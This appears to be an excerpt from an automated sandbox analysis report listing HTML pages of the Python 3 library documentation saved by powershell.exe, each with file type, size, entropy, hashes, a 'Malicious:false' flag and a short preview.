                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):17659
                    Entropy (8bit):4.844087730451609
                    Encrypted:false
                    SSDEEP:
                    MD5:8C3AF5EB13B420FDAE19ABE1635E215B
                    SHA1:030F641EE14977821100FCF470531348EFB8E84A
                    SHA-256:520D8A0F57315F1350D910174E990BA21295FD7BED4B8DDB16D7AD0DE754E61E
                    SHA-512:67B359660F11F16BB96E0AA48DA2CD123FE2B8BC73A6737F9D95AC2E6EF1CB40B8420857A5D179E92522400D6FE358BA72293585861394EEF2E77D0C22DB1A0E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Cryptographic Services" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/crypto.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter implement various algorithms of a cryptographic nature. They are available at the discretion of the installation. On Unix systems, the crypt module may also be..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter implement various alg
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1512), with CRLF line terminators
                    Category:dropped
                    Size (bytes):92509
                    Entropy (8bit):4.826005484692949
                    Encrypted:false
                    SSDEEP:
                    MD5:DDC7E7BE158046B7CBB8FDC5C94A531A
                    SHA1:EB3DB416482C7ED3873288883DA40340D1135442
                    SHA-256:4970DF26B3AE25A71EC710F4A090E9DDCF4EC77C9BEC5DBDC1D17788DD57F156
                    SHA-512:E930D9D7494431A293DABDD8372606DF1329E10870EA4C234D66DC2A27AEEDBDCCE9CB68A6202185F7D2B6F0E345912F1F0F482ED69AE3F371816CC3D41088DB
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="csv . CSV File Reading and Writing" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/csv.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/csv.py The so-called CSV (Comma Separated Values) format is the most common import and export format for spreadsheets and databases. CSV format was used for many years prior to att..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/csv.py The so-called CSV (Comma
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (574), with CRLF line terminators
                    Category:dropped
                    Size (bytes):317522
                    Entropy (8bit):4.792373097169189
                    Encrypted:false
                    SSDEEP:
                    MD5:090290634256810C5B98EAE1A59AE9E9
                    SHA1:AFF6F978B8A327D98E2FA1045089FF2A75283F1A
                    SHA-256:E418AA0167D5FD96F491B9E1231901DF53413A4F20F149FB8902119120791283
                    SHA-512:CF67EC8784755D39F0386EE0E66438794EF351570EF32FEEF9E4FD910B79BB9F280FD85C6B65DD1BF35B9B7BD813EDAB29736CEFAD937C9BF2A965B37AF8854B
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="ctypes . A foreign function library for Python" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/ctypes.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/ctypes ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/ctypes ctypes is
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (435), with CRLF line terminators
                    Category:dropped
                    Size (bytes):44451
                    Entropy (8bit):4.855642588410878
                    Encrypted:false
                    SSDEEP:
                    MD5:C5317ECF826F49EE6A6191C9F25E9E2E
                    SHA1:DF00F206586B3E95A224FFE65C0AD392EF9B2B2B
                    SHA-256:0D4A186E2B4EEA7DBC169095E92A1D264BB02F4959932CFECFC6CF2E04030C8B
                    SHA-512:A37037C302F34CAC60CA338F504ECCBD7882A04294319964E64251EA1624CFCF0DB8AF9F6FC3F97DF83D3792A58EF1E6CD3175368D3FEDF4B036E799FF8D1AAC
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="curses.ascii . Utilities for ASCII characters" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/curses.ascii.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/curses/ascii.py The curses.ascii module supplies name constants for ASCII characters and functions to test membership in various ASCII character classes. The constants supplied are..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/curses/asci
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (677), with CRLF line terminators
                    Category:dropped
                    Size (bytes):280383
                    Entropy (8bit):4.864268776940332
                    Encrypted:false
                    SSDEEP:
                    MD5:12CA4EBA57256548965B836FFB3DF944
                    SHA1:EEDDBEC50FFDD30725F8CD416996980F47B74382
                    SHA-256:4852F85235F5C02D882D76355044BB96E08D13A2112B6508E140964A6E4BCE20
                    SHA-512:48526799C4A3F294AE9C29B9C65A3618CB269046A1A7CEAF71931FA21D73359661EA36034FC7E80AFAFD7C7DCA9B172EA7E9264ADE6044C03F700F33DB094C07
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="curses . Terminal handling for character-cell displays" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/curses.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/curses The curses module provides an interface to the curses library, the de-facto standard for portable advanced terminal handling. While curses is most widely used in the Unix en..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/curses T
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (460), with CRLF line terminators
                    Category:dropped
                    Size (bytes):25651
                    Entropy (8bit):4.85579752337272
                    Encrypted:false
                    SSDEEP:
                    MD5:A4ACDE292554A036E348B76FDA68738D
                    SHA1:1035827400FF581A1E51A97667B7429176D2AC18
                    SHA-256:8BEE677EEBFCAA39133721020EA8E281EBE39712BA03E2BB3BB7541E3492772C
                    SHA-512:E0F7D76257ABD7CEC2581F48A304CA9113398A5E3F104E39B2894B930D8DDC646D49FA944DB4CD7230A52ECC571A503E240D2082E444D39C5B6CCD3D6B9DC46E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="curses.panel . A panel stack extension for curses" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/curses.panel.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Panels are windows with the added feature of depth, so they can be stacked on top of each other, and only the visible portions of each window will be displayed. Panels can be added, moved up or dow..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Panels are windows with
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (495), with CRLF line terminators
                    Category:dropped
                    Size (bytes):14993
                    Entropy (8bit):4.818550370073686
                    Encrypted:false
                    SSDEEP:
                    MD5:124AF1F7A1067EA9E964121178214BC1
                    SHA1:75B7BD82AC3AC877408858CE15837B97898C24BA
                    SHA-256:B0879274A8BD8E18816B8F2FB004A06EB318453666AA21B7A88F839043FE3E2B
                    SHA-512:0E8B20D9EEE9FCE18C72C1122819F8A39E7DE3969FF34BE460FD86F9053D81739893EE43F4A2773317BA95E0024BCDA115BA4606AB99B194CFD2D61EE27E0F9F
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Custom Python Interpreters" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/custominterp.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter allow writing interfaces similar to Python.s interactive interpreter. If you want a Python interpreter that supports some special feature in addition to the Py..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter allow wri
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (2440), with CRLF line terminators
                    Category:dropped
                    Size (bytes):125492
                    Entropy (8bit):4.721959681474977
                    Encrypted:false
                    SSDEEP:
                    MD5:E07B4360FDBA7CFD56C2AFBF8B20AC6B
                    SHA1:BFF9BCF2ECD8A1286C9F57FDBE71C4D93612D994
                    SHA-256:E21AA0F8AC0C66AADEF1D78CC199E1AA2D7F23E9DD69EF95C8CCDD35D045381C
                    SHA-512:FC095E77A6F982ACC69DCEDA14C7531C046EBEE54F3175F821BEAF8866F914D8953AFAB947F03C82EAA50398BB54DB8928A6CFC7D6AE3E077252F2ADB850A0E6
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="dataclasses . Data Classes" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/dataclasses.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/dataclasses.py This module provides a decorator and functions for automatically adding generated special method s such as__init__() and__repr__() to user-defined classes. It was or..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/dataclasses.py This module prov
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (702), with CRLF line terminators
                    Category:dropped
                    Size (bytes):30993
                    Entropy (8bit):4.831817357479499
                    Encrypted:false
                    SSDEEP:
                    MD5:F271AD6574A7AC51A0DA1C1AA07BFEE4
                    SHA1:5549C6A9DF700CA6F7C9EF48EF049C7D1FBB8488
                    SHA-256:A2E1390C7E17152E5DCE034F808D2A57ACF9844DF1A6A815E5D48E0F4864D795
                    SHA-512:848487E4682303328248D62ACD82A3F04BDE6F55C06018DA1A8E39BA202CD156F758F885DE1A4656670C22A0AD6A4C25E9C053DD785B9C63187429CD6D7B01F1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Data Types" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/datatypes.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter provide a variety of specialized data types such as dates and times, fixed-type arrays, heap queues, double-ended queues, and enumerations. Python also provide..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter provide a variety of specializ
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1748), with CRLF line terminators
                    Category:dropped
                    Size (bytes):396497
                    Entropy (8bit):4.767656465254369
                    Encrypted:false
                    SSDEEP:
                    MD5:6A1A25BC07C797993F45CCECC2D4C92C
                    SHA1:8181DFAC097D32952F52BA52B8B6261A509AC8BC
                    SHA-256:C9217203EA36F55B347621996FFD2CD9FD87381D5AE0DD34558F7ADBFAB28347
                    SHA-512:9908F9CA7B06C12C8E82308DF6251BDC2555A648C275C1B023CF3419C5CAEB7E38A35FBEDC53EC293E9D4289AD8718906D5F90CB158F959CEAA9192A1096B064
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="datetime . Basic date and time types" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/datetime.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/datetime.py The datetime module supplies classes for manipulating dates and times. While date and time arithmetic is supported, the focus of the implementation is on efficient attr..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/datetime.py The datetime
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (848), with CRLF line terminators
                    Category:dropped
                    Size (bytes):58877
                    Entropy (8bit):4.892837029432566
                    Encrypted:false
                    SSDEEP:
                    MD5:69099204E4E66CCAFD712F424A3DC368
                    SHA1:DBDE1F8F12A95F058BA4CBFB771CBDFF5FB28C70
                    SHA-256:DEBAE4DDEE9C0538CC27B023CBCC933BF8D29B24A3692BCC0466726678F73438
                    SHA-512:B8A3F411B628389C6F0D56E9669C7CEF4FA73F656C57B2680B1EB65C4B1E0B4075ADD0405D48524A7D46E61033FC2FDCAA368461067C2458BA7F77F7A1A09EC7
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="dbm . Interfaces to Unix .databases." />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/dbm.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/dbm/__init__.py dbm is a generic interface to variants of the DBM database . dbm.gnu or dbm.ndbm. If none of these modules is installed, the slow-but-simple implementation in modul..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/dbm/__init__.py dbm is
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20311
                    Entropy (8bit):4.849846514731141
                    Encrypted:false
                    SSDEEP:
                    MD5:EAAF6A4F2DCA9D4EBFA25F8BC1DDB19B
                    SHA1:C6C2754EB639BB446D3CFC285FF041364368535C
                    SHA-256:54802823A85013BB6584E2A8217F5468F5CD4ECD5A4FDF84DDCFB8E801FE8955
                    SHA-512:D8CEC4104EA36963CDD10047EAC56878702DFBF13DB621337E84C78D731E3BE6B2A663CF4EE3F5D4764B7CF2312BE654A15A121D12776A3712122F6861559931
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Debugging and Profiling" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/debug.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These libraries help you with Python development: the debugger enables you to step through code, analyze stack frames and set breakpoints etc., and the profilers run code and give you a detailed br..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These libraries help you with Python development: the debug
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (772), with CRLF line terminators
                    Category:dropped
                    Size (bytes):286380
                    Entropy (8bit):4.836408427042888
                    Encrypted:false
                    SSDEEP:
                    MD5:285AF8C5452805252E9D82597F3ABF34
                    SHA1:FC7ED1F961C961ECA27C0E260900EDDD7E634EE1
                    SHA-256:A50CCF21C3166BC55CAAACDFE59636C5521AE8677F2AAA294E004EFCCC8DF891
                    SHA-512:58B880539F2CEE07837F571F0A86CCB492DF2E90911A039AEED660DC572A25C0F1DC5B44E2CA19855A32E83EECDEE6451A6776B72245574DC67FEE2090897AB5
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="decimal . Decimal fixed point and floating point arithmetic" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/decimal.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/decimal.py The decimal module provides support for fast correctly rounded decimal floating point arithmetic. It offers several advantages over the float datatype: Decimal .is based..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (490), with CRLF line terminators
                    Category:dropped
                    Size (bytes):37323
                    Entropy (8bit):4.862643187594611
                    Encrypted:false
                    SSDEEP:
                    MD5:07E95C0CAE89EC859C65A72C3E4B471B
                    SHA1:A34E01A48FF19E582866E1D8FD43D9CCC5DC6AA7
                    SHA-256:3B38732D2A9EE10CE75FECD1B588601B177681FF5D85D45FCEF94C6F39DCA4DA
                    SHA-512:9D998AB6CE26BE8842FF02D4F64AD54E0704BFE48D901FAADAD637791FB489DBD774A2EB3D01CCB72D22A04E669E6DB5230209FBC9AAA170890EBAB8842CF5D8
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Development Tools" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/development.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter help you write software. For example, the pydoc module takes a module and generates documentation based on the module.s contents. The doctest and unittest modu..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter help you write soft
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (457), with CRLF line terminators
                    Category:dropped
                    Size (bytes):36490
                    Entropy (8bit):4.927052333447295
                    Encrypted:false
                    SSDEEP:
                    MD5:0C75D96B624202D7E95245F965FE29F4
                    SHA1:FCAF6290131D16E2B982A29FFAC080F5A0DEE8A5
                    SHA-256:EB99D0D6E7A04BBD3F9A17316FD6B22A58CBAD396F76C0E23EE40E6C7FE6C11D
                    SHA-512:4BC0EE5FD5FBE2291BE1E61EAB45D518341BE988B9DA736BF5E918665632D3F6165C4BF9643D3D50142B60C1437FAB766F97937DC4FCFC0E8A1054EFEC5FEBE1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Python Development Mode" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/devmode.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The Python Development Mode introduces additional runtime checks that are too expensive to be enabled by default. It should not be more verbose than the default if the code is correct; new warnings..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The Python Development Mode introduces additional runtime
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1023), with CRLF line terminators
                    Category:dropped
                    Size (bytes):47003
                    Entropy (8bit):4.832966498373117
                    Encrypted:false
                    SSDEEP:
                    MD5:9A9659080AA915233A3BC38B8D269405
                    SHA1:57EE70BDCA631A6CC8187B34A76FD0F9039828DE
                    SHA-256:8B514EE23523FE41F32EE335CB5EE578FEF6C4324C8969C091C6B2D3B800189D
                    SHA-512:B7F711DA3EF2F22FAD2EF4F3CAFB6A962F777FEE39E74AD8604C9A1FD449B6685DB96EF1D519F98B65B7668EF44045FE803BB928A051D6E401879E739AD96A6B
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Tkinter Dialogs" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/dialog.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="tkinter.simpledialog . Standard Tkinter input dialogs: Source code: Lib/tkinter/simpledialog.py The tkinter.simpledialog module contains convenience classes and functions for creating simple modal ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="tkinter.simpledialog . Standard Tkinter input dialogs: Source
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1724), with CRLF line terminators
                    Category:dropped
                    Size (bytes):131511
                    Entropy (8bit):4.804767506115637
                    Encrypted:false
                    SSDEEP:
                    MD5:8721DE2FDC4EA9DC8BB6C1716F05A6A6
                    SHA1:182E1249206D9A2B8825F33F973B0203CE1EC0C7
                    SHA-256:B13AEC1A18AD7FEC5A9D4A80CDD450BAE7DD0B6619691E60132CA071DEA0B7C5
                    SHA-512:0D668246020F55344F776B6D038A892FE3D94A8C4934F3533E0F5131522211DF951D269373A1F10315D9A1A46709FAE1F5908BA74F1612420EA6391E7E52A8BA
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="difflib . Helpers for computing deltas" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/difflib.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/difflib.py This module provides classes and functions for comparing sequences. It can be used for example, for comparing files, and can produce information about file differences i..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/difflib.py This module
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1344), with CRLF line terminators
                    Category:dropped
                    Size (bytes):195623
                    Entropy (8bit):4.916831096714084
                    Encrypted:false
                    SSDEEP:
                    MD5:935A925D4E2262E25E382E8078947B1E
                    SHA1:539DCDC486965CDE46D21402992EDD5E190AC982
                    SHA-256:DE59D625DD57D0B4FDC42EC45F1070F9CFC58F7521B786D4618E00CEAF41C0FB
                    SHA-512:E52C940634BA2CF98559D4EA40ED115AB10D54AD85526B220ADBDAE6EDDAA660D8DE578D20557B49E4B750B29B2593FC0F4FC6BB773BD1496F8E6EFF2CBA03AF
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="dis . Disassembler for Python bytecode" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/dis.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/dis.py The dis module supports the analysis of CPython bytecode by disassembling it. The CPython bytecode which this module takes as an input is defined in the file Include/opcode...." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/dis.py The dis module suppo
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):16633
                    Entropy (8bit):4.845892169460792
                    Encrypted:false
                    SSDEEP:
                    MD5:33E00917A458E39EEF34EE792183C282
                    SHA1:AA45FF30310AB24208DEAE599B01B0A243B05403
                    SHA-256:3781CF6240A2AF531CF0AA604C248C07C3E7DFA6471440CE956483CCEED253E9
                    SHA-512:655B37F66428E823C17CC7CC44AEE631B1ABE0D9BC702C1F0A033974F33177A3D304B54900A6EA49530A87368D538899D4826852FC37B542B0431C5873EE0C88
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Software Packaging and Distribution" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/distribution.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These libraries help you with publishing and installing Python software. While these modules are designed to work in conjunction with the Python Package Index, they can also be used with a local in..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These libraries help you with publishing
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (478), with CRLF line terminators
                    Category:dropped
                    Size (bytes):211041
                    Entropy (8bit):4.843095475504818
                    Encrypted:false
                    SSDEEP:
                    MD5:90A5EBDA6C23AC623C4AD18C8B605337
                    SHA1:CB840DF20092C3E239A1D2DAEA3BC95D5E052620
                    SHA-256:A0458DA6304EA6A2E20035416677E1B2D94EC9CF768673A8C7AA95BCC9D91864
                    SHA-512:88F5F15B7DE4EA299D8CB9114CC8C0BEF63FEC8924ABC4C73D64748188AF294BF3763A2716658527EA415982D7B32008E4523CDA4C1D854E1C8D4C1DE7ACF527
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="doctest . Test interactive Python examples" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/doctest.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/doctest.py The doctest module searches for pieces of text that look like interactive Python sessions, and then executes those sessions to verify that they work exactly as shown. Th..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/doctest.py The doct
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1007), with CRLF line terminators
                    Category:dropped
                    Size (bytes):35550
                    Entropy (8bit):4.8317347803377775
                    Encrypted:false
                    SSDEEP:
                    MD5:BD7552F9C3C202B38EC40B1A7816B8C1
                    SHA1:68709374176D127BDD0084F0EC10F66CE01AC606
                    SHA-256:021B617984F1BA480DBC2981020B4F0623A7629CECD4E8623F83A2EA2D43470C
